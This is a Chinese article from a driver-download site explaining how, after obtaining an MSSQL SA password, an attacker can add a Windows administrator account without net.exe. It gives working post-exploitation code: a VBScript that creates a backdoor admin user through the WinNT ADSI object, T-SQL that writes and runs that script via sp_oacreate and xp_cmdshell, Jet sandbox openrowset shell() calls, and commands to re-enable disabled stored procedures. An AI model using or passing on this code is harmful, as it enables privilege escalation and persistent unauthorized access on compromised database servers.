驱动管家:安全、高效、精准的专业驱动下载站!

利用winnt对象不靠cmd命令添加一个管理员的具体代码

2018-02-13 11:07:12责编:llp   来源:驱动管家     人气:

在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,

利用winnt对象不靠cmd命令添加一个管理员的具体代码

具体代码如下:set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set ob=GetObject(os) '得到adsi接口,绑定

Set oe=GetObject(os&"/Administrators,group") '属性,admin组

Set od=ob.Create("user","test") '建立用户

od.SetPassword "1234" '设置密码

od.SetInfo '保存

Set of=GetObject(os&"/test",user) '得到用户

oe.add os&"/test"将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject

("WSCRIPT.NETWORK")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.

ComputerName'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject

(os&"/Administrators,group")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create

("user","test")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'

exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject

(os&"/test",user) '

exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"' 执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:\1.vbs正被另一个程序运行”而无法成功添加用户:exec master..xp_cmdshell 'cscript c:\1.vbs'如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为:exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")

>>1.vbs'不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0

\Engines','SandBoxMode','REG_DWORD',1然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows

\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows

\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup

administrators test /add")')不同的操作系统,路径也不一样,需要根据情况做修改:NT/2K: c:\winnt\system32\

XP/2003: c:\windows\system32\另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:开启XP_cmdshell:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

'xp_cmdshell', 1;RECONFIGURE;开启'OPENROWSET':exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure

'Ad Hoc Distributed Queries',1;RECONFIGURE;开启'sp_oacreate':exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure

'Ole Automation Procedures',1;RECONFIGURE;

  • 键盘安全问题 如何保护从键盘输入的数据?

    键盘安全问题 如何保护从键盘输入的数据?

    键盘安全问题及危害通过各种黑客技术,黑客可以通过远程控制在用户的电脑中安装记录键盘的程序,这些被称作键盘记录器的工具可以记录用户从键盘输入的所有信息。由于当前黑客技术日益公开化,以至于即使是黑客初

    详情2018-02-09 11:41:48责编:llp   来源:驱动管家     
  • 关闭135 445端口该怎么做?关闭135 445端口的步骤

    关闭135 445端口该怎么做?关闭135 445端口的步骤

    135端口主要用于使用RPC(RemoteProcedureCall,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。端口说明:135端口主要用于使用RPC(RemoteProcedureCall,远程过程调用)协议并提供DCOM(分布式组件

    详情2018-01-14 14:03:30责编:llp   来源:驱动管家     
  • 一种win9x下的入侵方法:先要取得对方ip地址

    一种win9x下的入侵方法:先要取得对方ip地址

    黑客已经成为一种文化,很多人想成为黑客,他们偶尔学到了几种小花招,总喜欢拿别人开玩笑,搞些恶作剧。其实黑客的最高境界在于防守,不在于进攻。所谓明枪易躲暗箭难防,要防住他人所有的进攻,肯定需要懂得比

    详情2018-02-08 15:34:07责编:llp   来源:驱动管家     
  • 不是直接输出的隐蔽的xss漏洞:dom xss怎么查找?

    不是直接输出的隐蔽的xss漏洞:dom xss怎么查找?

    Xss的危害各位小牛 大牛们都意识到了Xss开始的csrf和挂马 到盗cookies和ajax 到xssshell 还有各种利用 我们一般找到的都是大多数都停留在找直接输入输出上,这类型的一般很容易被过滤。隐蔽型的就是DOM xs

    详情2018-02-10 12:28:54责编:llp   来源:驱动管家     
  • discuz安全提问md5加密过程是怎么样的?

    discuz安全提问md5加密过程是怎么样的?

    今天朋友问我discuz安全提问答案能不能饶过去。或者破解,我以前就注意过个密码,只记得很短,以为是substr取的MD5,最后看了半天的源码,确实是MD5加密的,不过,加密的过程有点晕无安全提问

    详情2018-02-04 10:48:56责编:llp   来源:驱动管家     
  • wifi如何泄密?自动连接wifi网络会成为出卖个人隐私的出口

    wifi如何泄密?自动连接wifi网络会成为出卖个人隐私的出口

    引言:Wi-Fi网络是我们生活当中所必不可少的重要通信工具。如今,询问Wi-Fi密码已经成为大部分用户到新地方要做的第一件事,但大部分人并不具备Wi-Fi安全的相关意识。据统计,目前我国手机网民已迫近6亿,随着移

    详情2018-02-06 14:03:21责编:llp   来源:驱动管家     
  • 电脑开机速度慢的原因 电脑开机速度慢怎么办?

    电脑开机速度慢的原因 电脑开机速度慢怎么办?

    电脑用久了,装的软件,插件,越来越多,所做的操作也会留下很多垃圾文件保持在电脑上,加上电脑硬件也会老化,电脑中毒什么的。都有可能导致电脑开机速度慢。导致开机速度慢的一些原因:1、开机启动项太多。现在

    详情2018-01-14 13:07:29责编:llp   来源:驱动管家     
  • qq号被盗了怎么办?qq号被盗怎么找回?

    qq号被盗了怎么办?qq号被盗怎么找回?

    QQ被盗在互联网上已经非常常见了,而且一直没有停过,保护好自己的QQ避免被盗,被人用来诈骗亲人朋友,一些保护措施要做好 不要下载一些黑客软件,很多都有后门,不在陌生的电脑登录自己的qq。方法1、QQ号被盗了

    详情2018-01-16 14:55:53责编:llp   来源:驱动管家     
  • 黑客基地的渗透方法(冰兰黑客基地实例)

    黑客基地的渗透方法(冰兰黑客基地实例)

    注:本人已经提交到C R S T ,适合新人学习 首先是有个朋友对我说有个冰兰黑客基地,转载别人的文章还不著名作者,之后还蒙骗别人说他们能入侵国外站点 所以就想检测一下 首先看了以下他的站点,主站和论坛 分

    详情2018-01-04 17:49:34责编:llp   来源:驱动管家     
  • oracle教程 oracle的相关问题及解答

    oracle教程 oracle的相关问题及解答

    1 如何查看ORACLE的隐含参数?ORACLE的显式参数,除了在INIT ORA文件中定义的外,在svrmgrl中用 "show parameter * ",可以显示。但ORACLE还有一些参数是以“_”,开头的。如我们非常熟悉的“_offline_rollback_

    详情2018-01-15 16:49:57责编:llp   来源:驱动管家